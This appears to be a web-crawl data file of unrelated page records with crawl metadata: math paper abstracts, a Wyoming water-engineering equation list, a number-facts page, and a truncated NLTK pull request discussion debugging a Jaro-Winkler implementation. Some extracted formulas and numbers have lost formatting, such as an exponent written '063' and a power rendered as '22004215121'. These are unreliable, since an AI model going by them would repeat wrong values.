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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8165539,"math_prob":0.98461294,"size":1675,"snap":"2020-24-2020-29","text_gpt3_token_len":486,"char_repetition_ratio":0.14003591,"word_repetition_ratio":0.0,"special_character_ratio":0.36895522,"punctuation_ratio":0.1750663,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.996963,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-05-28T16:09:53Z\",\"WARC-Record-ID\":\"<urn:uuid:e3dae211-5e8f-4c86-a7a0-bfb5f8567e9f>\",\"Content-Length\":\"63011\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:eb9c9053-a2b2-4a32-8fa1-510765251cf5>\",\"WARC-Concurrent-To\":\"<urn:uuid:eafdfb54-aa70-4bcb-925b-9044d5122e14>\",\"WARC-IP-Address\":\"172.67.177.21\",\"WARC-Target-URI\":\"https://cmtoinches.co/55.8-centimeters-into-in-55.8\",\"WARC-Payload-Digest\":\"sha1:YAXNFESVEIBI37PAXYE4DRNDAMOTVYEW\",\"WARC-Block-Digest\":\"sha1:6VLLJWI4CRHFC57ZMUT4AFTXBVGB7XAA\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347399820.9_warc_CC-MAIN-20200528135528-20200528165528-00440.warc.gz\"}"} |
https://scholar.archive.org/work/ehcfnu3gqvgzjekhsr2de4tvr4 | [
"### Finite dimensional modules for the \\$q\\$-tetrahedron algebra\n\nKei Miki\nIn the q tetrahedron algebra ¢ q was introduced as a q analogue of the universal enveloping algebra of the three point loop algebra sl 2 ª C[t, t 1 , (t 1) 1 ]. In this paper the relation between finite dimensional ¢ q modules and finite dimensional modules for U q (L(sl 2 )), a q analogue of the loop algebra L(sl 2 ), is studied. A connection between the ¢ q module structure and L-operators for U q (L(sl 2 )) is also discussed."
]
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.8956786,"math_prob":0.9857828,"size":746,"snap":"2023-40-2023-50","text_gpt3_token_len":207,"char_repetition_ratio":0.12668464,"word_repetition_ratio":0.03125,"special_character_ratio":0.26541555,"punctuation_ratio":0.093333334,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9623031,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-12-08T01:55:35Z\",\"WARC-Record-ID\":\"<urn:uuid:f36e36e5-22f4-4efa-b3c2-95c5fdb4daf9>\",\"Content-Length\":\"15571\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d13b4a82-d1db-4393-bb0c-68a1323243ae>\",\"WARC-Concurrent-To\":\"<urn:uuid:801e971e-d252-4278-b2a4-9e0ce3b18a79>\",\"WARC-IP-Address\":\"207.241.225.9\",\"WARC-Target-URI\":\"https://scholar.archive.org/work/ehcfnu3gqvgzjekhsr2de4tvr4\",\"WARC-Payload-Digest\":\"sha1:6EY3ZWXVZHGMQP73FXMET5QBJN4NQSQE\",\"WARC-Block-Digest\":\"sha1:R4WRCR5OG6RTIZXZDCCWDHNU2DCKTLX4\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-50/CC-MAIN-2023-50_segments_1700679100710.22_warc_CC-MAIN-20231208013411-20231208043411-00052.warc.gz\"}"} |
http://seo.wyo.gov/regulations-instructions/equation-quick-list | [
"Equation Quick ListFlow ThroughSuggested Equation(Ac-Ft)*(0.01676)=CFSor(Ac-Ft)*(7.54)=GPMWhen to use:Flow through can only be permitted using the SW-1 and SW-2 forms and are used to supply off channel reservoirs with the use of fish with oxygenated water.How to use:You will need the capacity of the reservoir in acre-feet.On Channel Reservoir CapacitySuggested Equation(Area*Depth)/3=CapacityWhen to use:Use this formula to calculate the capacity of a reservoir located in the channel of a water way when filing an SW-3 or SW-4.How to use:Calculate the area of the reservoir in acresUse the maximum depth of water in feetThe results will be in acre-feetPit Reservoir Capacity FormulaSuggested Equation((D/6)(area of top + area of bottom + 4* average area))/43560=Capacity in acre-feetWhen to use:Use this formula when applying for a reservoir on either SW-3 or SW-4 form and no water is to be stored above ground or against a berm.How to use:D is the maximum depth of the pitArea of the top for a rectangular reservoir is length multiplied by the widthArea of bottom for a rectangular reservoir is the length multiplied by the widthAverage area is the area of the top plus the area of the bottom divided by 2Pump FormulaSuggested EquationQ=HP(3960E)/T.D.H.When to use: When using a pump to apply water to lands using an SW-1 or SW-2 application not covered under Special Applications filings rules. If the filing falls in the category of Special Application the maximum amount of water that can be diverted is 0.056 Cubic Feet Per Second.How to use:HP is the horsepower of the pump which is typically found on the pumpT.D.H. is the total dynamic head (Total dynamic head includes the friction in the pipe as well as the lift it has to make. The friction in the pipe will vary by type of pipe used.)E is the efficiency of the pumpQ is the discharge flow rateFlow Rate DitchesSuggested Equation ManningsQ=(1.486AR^0.667S^.5)/nWhen to use:Use this formula for open channel earthen ditches filed for on an SW-1 or SW-2 formHow to use:Q is the discharge flow rateA is the area of the channelR is the hydraulic radius, which is the area divided by the wetted perimeterS is the slopen is the Manning’s numberGravity Flow PipelineSuggested Equations either Hazen-Williams or WeirsHazen-WilliamsQ=VAQ=A*(1.318*C)*(R^063)*(S^0.54)WeirsQ=CLH^(3/2)When to use:Use either of these equations for filing SW-1 or SW-2 forms for gravity and pressure flow pipelinesHow to use:Q is the discharge flow rateV is the velocityA is the AreaC is the Hazen-Williams CoefficientR is the hydraulic radiusS is the slopeC is the coefficient of dischargeL is the length of the crest in feetH is the feet of head"
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https://hal.inria.fr/hal-01241781v2 | [
"# Computing minimal interpolation bases\n\n2 ARIC - Arithmetic and Computing\nInria Grenoble - Rhône-Alpes, LIP - Laboratoire de l'Informatique du Parallélisme\nAbstract : We consider the problem of computing univariate polynomial matrices over a field that represent minimal solution bases for a general interpolation problem, some forms of which are the vector M-Pad\\'e approximation problem in [Van Barel and Bultheel, Numerical Algorithms 3, 1992] and the rational interpolation problem in [Beckermann and Labahn, SIAM J. Matrix Anal. Appl. 22, 2000]. Particular instances of this problem include the bivariate interpolation steps of Guruswami-Sudan hard-decision and K\\\"otter-Vardy soft-decision decodings of Reed-Solomon codes, the multivariate interpolation step of list-decoding of folded Reed-Solomon codes, and Hermite-Pad\\'e approximation. In the mentioned references, the problem is solved using iterative algorithms based on recurrence relations. Here, we discuss a fast, divide-and-conquer version of this recurrence, taking advantage of fast matrix computations over the scalars and over the polynomials. This new algorithm is deterministic, and for computing shifted minimal bases of relations between $m$ vectors of size $\\sigma$ it uses $O~( m^{\\omega-1} (\\sigma + |s|) )$ field operations, where $\\omega$ is the exponent of matrix multiplication, and $|s|$ is the sum of the entries of the input shift $s$, with $\\min(s) = 0$. This complexity bound improves in particular on earlier algorithms in the case of bivariate interpolation for soft decoding, while matching fastest existing algorithms for simultaneous Hermite-Pad\\'e approximation.\nDocument type :\nJournal articles\nDomain :\n\nCited literature [58 references]\n\nhttps://hal.inria.fr/hal-01241781\nContributor : Vincent Neiger <>\nSubmitted on : Monday, June 13, 2016 - 4:17:35 PM\nLast modification on : Friday, June 25, 2021 - 3:40:05 PM\n\n### File\n\nMinimalInterpolationBasis.pdf\nFiles produced by the author(s)\n\n### Citation\n\nClaude-Pierre Jeannerod, Vincent Neiger, Eric Schost, Gilles Villard. Computing minimal interpolation bases. Journal of Symbolic Computation, Elsevier, 2017, 83, pp.272--314. ⟨10.1016/j.jsc.2016.11.015⟩. ⟨hal-01241781v2⟩\n\nRecord views"
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.78166866,"math_prob":0.92106545,"size":1499,"snap":"2021-31-2021-39","text_gpt3_token_len":351,"char_repetition_ratio":0.11973244,"word_repetition_ratio":0.0,"special_character_ratio":0.20613742,"punctuation_ratio":0.103174604,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98844224,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-07-25T01:09:01Z\",\"WARC-Record-ID\":\"<urn:uuid:b06877da-b326-4843-b78c-f6da62ae71f3>\",\"Content-Length\":\"58468\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d8343422-488a-4600-bde2-14dec9c981ff>\",\"WARC-Concurrent-To\":\"<urn:uuid:212370dc-3989-4128-89b8-fb13047e201e>\",\"WARC-IP-Address\":\"193.48.96.10\",\"WARC-Target-URI\":\"https://hal.inria.fr/hal-01241781v2\",\"WARC-Payload-Digest\":\"sha1:7TV6MQMEZUIGTTOOVFTRQS3BAWIE7QY2\",\"WARC-Block-Digest\":\"sha1:Z6OOXCKOI7TVO6QPPKN6B7DJDZCGPOKF\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046151531.67_warc_CC-MAIN-20210724223025-20210725013025-00247.warc.gz\"}"} |
https://www.numbersaplenty.com/2004215121 | [
"Cookie Consent by FreePrivacyPolicy.com\nSearch a number\nBaseRepresentation\nbin111011101110101…\n…1110010101010001\n312011200021200021200\n41313131132111101\n513101034340441\n6530513141413\n7100444355526\noct16735362521\n95150250250\n102004215121\n11939366537\n1247b25a869\n1325c2c1b0c\n1415027514d\n15bae467b6\nhex7775e551\n\n2004215121 has 12 divisors (see below), whose sum is σ = 2920598148. Its totient is φ = 1324318464.\n\nThe previous prime is 2004215117. The next prime is 2004215137. The reversal of 2004215121 is 1215124002.\n\nIt can be written as a sum of positive squares in 2 ways, for example, as 1066936896 + 937278225 = 32664^2 + 30615^2 .\n\nIt is not a de Polignac number, because 2004215121 - 22 = 2004215117 is a prime.\n\nIt is a Curzon number.\n\nIt is a junction number, because it is equal to n+sod(n) for n = 2004215094 and 2004215103.\n\nIt is not an unprimeable number, because it can be changed into a prime (2004215141) by changing a digit.\n\nIt is a pernicious number, because its binary representation contains a prime number (19) of ones.\n\nIt is a polite number, since it can be written in 11 ways as a sum of consecutive naturals, for example, 984340 + ... + 986373.\n\nIt is an arithmetic number, because the mean of its divisors is an integer number (243383179).\n\nAlmost surely, 22004215121 is an apocalyptic number.\n\nIt is an amenable number.\n\n2004215121 is a deficient number, since it is larger than the sum of its proper divisors (916383027).\n\n2004215121 is a wasteful number, since it uses less digits than its factorization.\n\n2004215121 is an odious number, because the sum of its binary digits is odd.\n\nThe sum of its prime factors is 1970832 (or 1970829 counting only the distinct ones).\n\nThe product of its (nonzero) digits is 160, while the sum is 18.\n\nThe square root of 2004215121 is about 44768.4612310944. The cubic root of 2004215121 is about 1260.8055487533.\n\nAdding to 2004215121 its reverse (1215124002), we get a palindrome (3219339123).\n\nThe spelling of 2004215121 in words is \"two billion, four million, two hundred fifteen thousand, one hundred twenty-one\"."
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| {"ft_lang_label":"__label__en","ft_lang_prob":0.825597,"math_prob":0.9731875,"size":2154,"snap":"2021-21-2021-25","text_gpt3_token_len":671,"char_repetition_ratio":0.1688372,"word_repetition_ratio":0.0057306592,"special_character_ratio":0.47493038,"punctuation_ratio":0.13316584,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.995891,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-06-25T06:39:59Z\",\"WARC-Record-ID\":\"<urn:uuid:87af8b40-2c85-4950-8df4-14c852d2c0e6>\",\"Content-Length\":\"9602\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ff6e36be-21c7-494e-b401-009a8f0f0176>\",\"WARC-Concurrent-To\":\"<urn:uuid:b52ebe6e-169b-4b16-8edc-5ae548a6eb4a>\",\"WARC-IP-Address\":\"62.149.142.170\",\"WARC-Target-URI\":\"https://www.numbersaplenty.com/2004215121\",\"WARC-Payload-Digest\":\"sha1:BXYUIVDU5P5LSC277G747C5JZ6T74GUP\",\"WARC-Block-Digest\":\"sha1:QTKH7KWOUFXBSA4FA7KEKW52OCJO3GQH\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-25/CC-MAIN-2021-25_segments_1623487622113.11_warc_CC-MAIN-20210625054501-20210625084501-00080.warc.gz\"}"} |
https://github.com/nltk/nltk/pull/2044 | [
"/ nltk Public\n\n# Jaro Winkler distance added #2044\n\nMerged\nmerged 36 commits into from Jul 10, 2018\nMerged\n\n# Jaro Winkler distance added #2044\n\nmerged 36 commits into from Jul 10, 2018\n\n## Conversation\n\nThis file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters\n\n###",
null,
"53X commented Jun 12, 2018\n\nJaro Winkler distance has been added to nltk.metrics . Also PEP-8 issues have been taken care of .\n\nI have not used any inbuilt functions from nltk for making this. This PR introduces a new string comparison metric. The metrics has been written as a completely different function named jaro_winkler_distance()\nIt fixes this issue\n\n``` Jaro Winkler distance added ```\n``` 7f70ae1 ```",
null,
"changed the title Jaro Winkler distance added #2006 Issue fix attempt Jaro Winkler distance added Jun 12, 2018\n\n### 53X commented Jun 13, 2018\n\n p = type float , weight parameter with a standard value of 0.1 l_cnt = type int, common prefix at the start of the string (max val = 4) jw_sim= type float, jaro winkler similarity between s1 and s2 jw_dist = type float, it is equal to 1 - jw_sim \"\"\"\n\n###",
null,
"alvations Jun 13, 2018\n\nThe docstring has to be a lot clearer.\n\n• What's s1 and s2? I assume it's taking strings as the distance but actually the other distance metrics in `nltk.metrics.distance` accepts any sequence type. Jaro-Winkler seems to be generic enough to cover any sequence.\n\n###",
null,
"alvations Jun 13, 2018\n\nAlso variable names in this function needs to be clearer.\n\nSince the function scopes within itself, you can afford to have more explicit variable names, e.g.\n\n• `mtch` -> `matches`\n• `t_cnt` -> `transposition_counts`\n\n###",
null,
"53X Jun 13, 2018\n\ns1 and s2 are the 2 strings between which we wanna calculate the JW distance. I am going to include it in the docstring. Thanks for the point out\n\n jw_sim= type float, jaro winkler similarity between s1 and s2 jw_dist = type float, it is equal to 1 - jw_sim \"\"\" s1 = s1.lower() s2 = s2.lower()\n\n###",
null,
"alvations Jun 13, 2018\n\nAs commented above, if the input is a sequence, this would throw an AttributeError.\n\n###",
null,
"alvations Jun 13, 2018 • edited\n\nIf `.lower()` is the intention, then adding it as an kwarg in the function arguments would be better, i.e.\n\n```def jaro_winkler_distance(s1, s2, p=0.1, lowercase=True):\n# some code ...\n\nif lowercase:\ns1, s2 = s1.lower(), s2.lower()\n\n# other code ...```\n\n if(abs(pos1 - pos2) <= dist_bound): mtch = mtch + 1 if(pos1 != pos2): t_cnt = t_cnt + 1\n\n###",
null,
"alvations Jun 13, 2018\n\nActually, this looks very levenshtein like.\n\n###",
null,
"alvations Jun 13, 2018\n\nOut of curiosity, Is there a simpler way to do this?\n\n###",
null,
"53X Jun 13, 2018\n\nWell the above code actually counts the no.of \"matched\" characters and the no.of transposition counts. Also Levenshtein calculates transpositions.\n\n###",
null,
"53X Jun 13, 2018\n\nSimpler way? I don't know ..... I am gonna have to check it out. BTW this works too\n\n p = type float , weight parameter with a standard value of 0.1 l_cnt = type int, common prefix at the start of the string (max val = 4) jw_sim= type float, jaro winkler similarity between s1 and s2 jw_dist = type float, it is equal to 1 - jw_sim \"\"\"\n\n###",
null,
"alvations Jun 13, 2018\n\nAlso variable names in this function needs to be clearer.\n\nSince the function scopes within itself, you can afford to have more explicit variable names, e.g.\n\n• `mtch` -> `matches`\n• `t_cnt` -> `transposition_counts`\n\n if(l_cnt == 4): break jw_sim = j_sim+(l_cnt*p*(1-j_sim)) jw_dist = 1 - jw_sim\n\n###",
null,
"alvations Jun 13, 2018\n\nJust `return 1 - jw_sim` here.\n\n###",
null,
"53X Jun 13, 2018\n\nSure .... it is actually redundant\n\n break if(l_cnt == 4): break jw_sim = j_sim+(l_cnt*p*(1-j_sim))\n\n###",
null,
"alvations Jun 13, 2018\n\nIt would make sense to put this formula in the function docstring and then explain the related variables.\n\n###",
null,
"53X Jun 13, 2018\n\nyeah sure\n\n @@ -143,7 +147,7 @@ def masi_distance(label1, label2): return 1 - len_intersection / len_union * m def interval_distance(label1,label2): def interval_distance(label1, label2):\n\n###",
null,
"alvations Jun 13, 2018\n\n👍\n\n @@ -66,7 +68,7 @@ def edit_distance(s1, s2, substitution_cost=1, transpositions=False): been done in other orders, but at least three steps are needed. Allows specifying the cost of substitution edits (e.g., \"a\" -> \"b\"), because sometimes it makes sense to assign greater penalties to substitutions. because often it makes sense to assign bigger penalties to substitutions.\n\n###",
null,
"alvations Jun 13, 2018\n\nIs this the right assumption that it's often and not sometimes?\n\nAlso `greater penalties` sounds better than `bigger penalties`, the latter sounds presidential ;P\n\n###",
null,
"53X Jun 13, 2018\n\nI am changing it back to 'sometimes' and 'greater' . Thanks for the heads up\n\n @@ -34,7 +35,8 @@ def _edit_dist_init(len1, len2): return lev def _edit_dist_step(lev, i, j, s1, s2, substitution_cost=1, transpositions=False): def _edit_dist_step(lev, i, j, s1, s2, substitution_cost=1, transpositions=False):\n\n###",
null,
"alvations Jun 13, 2018\n\nNo reason to break this unless it's over the 80 char lens. Even so, the break should be one per kwargs, so\n\n``````def _edit_dist_step(lev, i, j, s1, s2,\nsubstitution_cost=1,\ntranspositions=False):\n``````\n\n###",
null,
"53X Jun 13, 2018\n\nit is over 80 chars . So I decided to break it this way\n\n###",
null,
"alvations Jun 13, 2018\n\nBreak the other keyword into a second line too, that'll be more consistent. Thanks!\n\n###",
null,
"53X Jun 13, 2018\n\ncool\n\n else: break if(l_cnt == 4): break\n\n###",
null,
"alvations Jun 13, 2018\n\nThese conditions checks don't exactly makes use of `numpy`. I think there are better ways to do the match.\n\n###",
null,
"alvations Jun 13, 2018\n\nActually this look like RIBES' https://github.com/nltk/nltk/blob/develop/nltk/translate/ribes_score.py#L233 I might be wrong.\n\n###",
null,
"53X Jun 13, 2018\n\nWell i actually used numpy for the np.floor(). Also I wen through RIBES and the find_increasing_sequences(worder) function actually returns monotonic sequences given a worder list. But l_cnt here is actually this : the length of common prefix at the start of the string up to a maximum of four characters . It is as per this: https://en.wikipedia.org/wiki/Jaro%E2%80%93Winkler_distance\n\n### alvations commented Jun 13, 2018\n\n I have to read more on the metric to really understand the algorithm implemented. But I've left some suggestions on the coding style and documentation issues that needs to be improved. Hope that helps.\n\n print(\"Jaro-Winkler_distance:\", jaro_winkler_distance('JONES', 'JohnSon')) print(\"Jaro-Winkler_similarity:\", 1-jaro_winkler_distance('JONES', 'JohnSon'))\n\n###",
null,
"alvations Jun 13, 2018\n\nOne more request here =)\n\nCould you reuse the `edit_distance_exmaples` and move this bit of demo code into the loop at L240?\n\n###",
null,
"53X Jun 13, 2018\n\nYeah sure . I was afraid of breaking the code initially, so avoided doing that\n\n### 53X commented Jun 13, 2018\n\n @alvations , I am gonna make the edits real quick\n\n``` suggested changes made ```\n``` ca80287 ```\n\n### alvations commented Jun 14, 2018 • edited\n\nAfter reading the formula and other implementations, it looks like the winkler part is merely a function on the jaro similarity. I'll make some changes and push.\n\n@53X if you don't mind, I'll do some adaptations to your code and push so that it better documented and suit the Pythonic conventions.\n\n• Decouple the jaro distance from the jaro-winkler function.\n\n• After some considering, imposing lower on the comparison should be a user decisions, we shouldn't encourage or enforce .lower()\n\n• Storing the length of the strings, they are used several times, no point re-calculating them =)\n\n• Variable name changes,\n\n• `match` -> `matches` , since it's counting\n• `transposition_count` -> `transpositions`, since it's just counting and there's no real storage of any thing other than integers, it's okay to just drop the `_count`. Also there's no need to store the half the value, just store the full integer and half it when returning the jaro similarity\n• `dist_bound` -> `match_bound` , it's a little strange to call it distance bound because it's not exactly the upper bound of the metric itself but the matches.\n• `x = x + 1` -> `x += 1`\n\n### alvations commented Jun 14, 2018 • edited\n\n @53X checking your algorithm, you have made certain assumptions with ``` # Iterate through sequences, check for matches and compute transpositions. for ch1 in s1: # Iterate through each character. if ch1 in s2: # Check whether the pos1 = s1.index(ch1) pos2 = s2.index(ch1) if(abs(pos1-pos2) <= dist_bound): match = match + 1 if(pos1 != pos2): transposition_count = transposition_count+1``` When you use the `.index()` it will always be returning the first instance, so if there is a repeat and the range isn't of the bounding `dist_bound`, it's not going to work correctly, right? I don't think you can get both matches and transpositions in 1 iteration. You might have to iterate through and be a little more like dynamic programming when you iterate through 2 sequences with the bounding boxes, like in https://rosettacode.org/wiki/Jaro_distance#Python\n\n``` Decoupled the Jaro distance. ```\n``` 040a9e1 ```\n``` Renamed function to jaro_similarity ```\n``` 5c34bfa ```\n``` Cleaned up the jaro_winkler function ```\n``` dd90881 ```\n``` Finalized refactoring and cleanup ```\n``` 541e202 ```\n``` Use math instead of numpy ```\n``` 2e2c442 ```\n``` Cleaned up the demo code ```\n``` cbca3e5 ```\n\n### alvations commented Jun 14, 2018 • edited\n\n @53X I'm done with the edits. I hope the changes made are okay with you. I think it's best to be more explicit esp with some of these variable names and clearer in terms of what each loop / condition is doing. Going back to the algorithm, I think you might need to do some tests on whether the loop here is really the same as the typical dynamic programming code from Rosetta code, it looks different given the `.index()` assumptions. ``` # Iterate through sequences, check for matches and compute transpositions. for ch1 in s1: # Iterate through each character. if ch1 in s2: # Check whether the pos1 = s1.index(ch1) pos2 = s2.index(ch1) if(abs(pos1-pos2) <= dist_bound): match = match + 1 if(pos1 != pos2): transposition_count = transposition_count+1``` Looks like there's some difference in https://www.kaggle.com/alvations/jaro-winkler Oddly, this implementation https://github.com/nap/jaro-winkler-distance is also different: ``````>>> from pyjarowinkler.distance import get_jaro_distance >>> string_distance_examples = [ ... (\"rain\", \"shine\"), (\"abcdef\", \"acbdef\"), (\"language\", \"lnaguaeg\"), ... (\"language\", \"lnaugage\"), (\"language\", \"lngauage\")] >>> >>> for s1, s2 in string_distance_examples: ... get_jaro_distance(s1, s2, winkler=False) ... 0.6333333333333333 0.9444444444444445 0.9166666666666666 0.9166666666666666 0.9583333333333334 ``````\n\n``` Corrected dosctring. ```\n``` ad7110f ```\n``` Typo in variable name ```\n``` c72bb8b ```\n``` typo in condition ```\n``` 6e3045a ```\n``` Corrected some \\xe4 error ```\n``` 4b945b9 ```\n``` Removed weird \\xe2 char in docstring ```\n``` 4f1fef3 ```\n\n### alvations commented Jun 14, 2018 • edited\n\nWith all the implementations giving different values, I suggest we follow this paper's output https://www.census.gov/srd/papers/pdf/rr93-8.pdf (page 35, Table 5) and aim our implementation towards that:\n\nTable 5 Comparison of String Comparators Rescaled between 0 and 1\n\nStrings Winkler Jaro D-L\nbilly billy 1.000 1.000 1.000\nbilly bill 0.967 0.933 0.800\nbilly blily 0.947 0.933 0.600\nmassie massey 0.944 0.889 0.600\nyvette yevett 0.911 0.889 0.600\nbilly bolly 0.893 0.867 0.600\ndwayne duane 0.858 0.822 0.400\ndixon dickson 0.853 0.791 0.200\nbilly susan 0.000 0.000 0.000\n\nAnother table of results from https://www.census.gov/srd/papers/pdf/rr94-5.pdf\n\nTable 2.1. Comparison of String Comparators Using Last Names, First Names, and Street Names\n\nStrings Jaro Wink McLa Lynch\nSHACKLEFORD SHACKELFORD 0.970 0.982 0.982 0.989\nDUNNINGHAM CUNNIGHAM 0.896 0.896 0.896 0.931\nNICHLESON NICHULSON 0.926 0.956 0.969 0.977\nJONES JOHNSON 0.790 0.832 0.860 0.874\nMASSEY MASSIE 0.889 0.933 0.953 0.953\nABROMS ABRAMS 0.889 0.922 0.946 0.952\nHARDIN MARTINEZ 0.722 0.722 0.722 0.774\nITMAN SMITH 0.467 0.467 0.507 0.507\nJERALDINE GERALDINE 0.926 0.926 0.948 0.966\nMARHTA MARTHA 0.944 0.961 0.961 0.971\nMICHELLE MICHAEL 0.869 0.921 0.938 0.944\nJULIES JULIUS 0.889 0.933 0.953 0.953\nTANYA TONYA 0.867 0.880 0.916 0.933\nDWAYNE DUANE 0.822 0.840 0.873 0.896\nSEAN SUSAN 0.783 0.805 0.845 0.845\nJON JOHN 0.917 0.933 0.933 0.933\nJON JAN 0.000 0.000 0.860 0.860\nBROOKHAVEN BRROKHAVEN 0.933 0.947 0.947 0.964\nBROOK HALLOW BROOK HLLW 0.944 0.967 0.967 0.977\nDECATUR DECATIR 0.905 0.943 0.960 0.965\nFITZRUREITER FITZENREITER 0.856 0.913 0.923 0.945\nHIGBEE HIGHEE 0.889 0.922 0.922 0.932\nHIGBEE HIGVEE 0.889 0.922 0.946 0.952\nLACURA LOCURA 0.889 0.900 0.930 0.947\nIOWA IONA 0.833 0.867 0.867 0.867\n1ST IST 0.000 0.000 0.844 0.844\n\n### 53X commented Jun 15, 2018 • edited\n\n @alvations , please take a look at the (JON,JAN) and (1ST,IST) examples from your comment ( second table) . I think that there is a typo in the paper. There is no way of (JON ,JAN) and (1ST, IST) being completely dissimilar as suggested in the paper( since we have got matching characters for both of them). Also I have experimented with the value of max_l parameter in the jaro-winkler formula. Keeping it's value to 4 gives us the best results ( i.e completely replicating the results reported in the paper). ALso for these two ambiguously reported values in the paper, my results are pretty much consistent with this online tool. I have also made few more changes . Please review them and give your feedback\n\n``` Algorithm rechecked and optimized ```\n``` a53def6 ```\nand others added 5 commits June 26, 2018 14:56\n``` More machete ```\n``` 0960b10 ```\n``` Machete still... ```\n``` 425153f ```\n``` Fix typo in wscore ```\n``` 03fdaef ```\n``` Errors resolved in doc_test ```\n``` df8c729 ```\n``` DOC TEST ERRORS TAKEN CARE OF ```\n``` a8168ac ```\n\n### 53X commented Jun 30, 2018\n\n @alvations , I have made sure that all the test cases pass in the doc-test. Please have a look at the latest commits and provide your feedback.\n\n``` ALL DOC TEST PASSED ```\n``` e6798f0 ```\n\n### alvations commented Jul 2, 2018 • edited\n\n @53X what is the `p_val`? Is it decimal places? If so, it shouldn't be in the similarity function but in the doctest Sorry about the previous comment, saw the commits while commuting and misunderstood. There's no need to call it `p_values`, user might confuse it with the p-value that is normally used in statistics. Why is there a need for different `p` for different tests, shouldn't they all use 0.1 like in the paper? You shouldn't be hacking the `p` such that the values passes in the doctest =( @53X is it because the default value of p isn't 0.1 in the paper but a variable?\n\n### alvations commented Jul 3, 2018 • edited\n\n Lets debug this one instance at a time in a way that we can copy and paste the code. Here's the stripped down code without the docstring: ```def jaro_similarity(s1, s2): # First, store the length of the strings # because they will be re-used several times. len_s1, len_s2 = len(s1), len(s2) # The upper bound of the distance for being a matched character. match_bound = max(len_s1, len_s2) // 2 - 1 # Initialize the counts for matches and transpositions. matches = 0 # no.of matched characters in s1 and s2 transpositions = 0 # no. of transpositions between s1 and s2 flagged_1 = [] # positions in s1 which are matches to some character in s2 flagged_2 = [] # positions in s2 which are matches to some character in s1 # Iterate through sequences, check for matches and compute transpositions. for i in range(len_s1): # Iterate through each character. upperbound = min(i+match_bound, len_s2-1) lowerbound = max(0, i-match_bound) for j in range(lowerbound, upperbound+1): if s1[i] == s2[j] and j not in flagged_2: matches += 1 flagged_1.append(i) flagged_2.append(j) break flagged_2.sort() for i, j in zip(flagged_1, flagged_2): if s1[i] != s2[j]: transpositions += 1 if matches == 0: return 0 else: return 1/3 * (matches/len_s1 + matches/len_s2 + (matches-transpositions//2)/matches ) def jaro_winkler_similarity(s1, s2, p=0.1, max_l=4): # Compute the Jaro similarity jaro_sim = jaro_similarity(s1, s2) # Initialize the upper bound for the no. of prefixes. # if user did not pre-define the upperbound, use smaller among length of s1 # and length of s2 # Compute the prefix matches. l_ = 0 for i in range(min(len(s1), len(s2))): if s1[i] == s2[i]: l_ += 1 else: break if l_ == max_l: break # Return the similarity value as described in docstring. return jaro_sim + (l_ * p * (1 - jaro_sim))``` Then we run the tests: ```winkler_examples = [(\"billy\", \"billy\"), (\"billy\", \"bill\"), (\"billy\", \"blily\"), (\"massie\", \"massey\"), (\"yvette\", \"yevett\"), (\"billy\", \"bolly\"), (\"dwayne\", \"duane\"), (\"dixon\", \"dickson\"), (\"billy\", \"susan\")] winkler_scores = [1.000, 0.967, 0.947, 0.944, 0.911, 0.893, 0.858, 0.853, 0.000] jaro_scores = [1.000, 0.933, 0.933, 0.889, 0.889, 0.867, 0.822, 0.790, 0.000] for (s1, s2), jscore, wscore in zip(winkler_examples, jaro_scores, winkler_scores): if round(jaro_similarity(s1, s2), 3) != jscore: print('jaro', s1, s2, jscore, round(jaro_similarity(s1, s2), 3)) #if round(jaro_winkler_similarity(s1, s2, p=p_val), 3) != wscore: # Compute the prefix matches. l_ = 0 for i in range(min(len(s1), len(s2))): if s1[i] == s2[i]: l_ += 1 else: break if l_ == max_l: break print('jaro_winkler', s1, s2, jscore, wscore, jaro_winkler_similarity(s1, s2), l_)``` [out]: ``````jaro_winkler billy billy 1.0 1.0 1.0 4 jaro_winkler billy bill 0.933 0.967 0.96 4 jaro_winkler billy blily 0.933 0.947 0.94 1 jaro_winkler massie massey 0.889 0.944 0.9333333333333333 4 jaro_winkler yvette yevett 0.889 0.911 0.8999999999999999 1 jaro_winkler billy bolly 0.867 0.893 0.88 1 jaro_winkler dwayne duane 0.822 0.858 0.84 1 jaro_winkler dixon dickson 0.79 0.853 0.8323809523809523 2 jaro_winkler billy susan 0.0 0.0 0.0 0 `````` So our Jaro similarity matches, we must have done something different in the winkler's rescaling. I suspect it's because of how we're computing the prefix matches. If we take a look at the `p_val` hacks you put in the previous commits, they're of a specific denominator, i.e. 0.125 = 1/8, 0.20 = 1/5. So the first thing to check is the `l_` value instead of putting up with a \"variable\" constant. Lets take a look at ``````s1 = \"billy\" s2 = \"bill\" j = 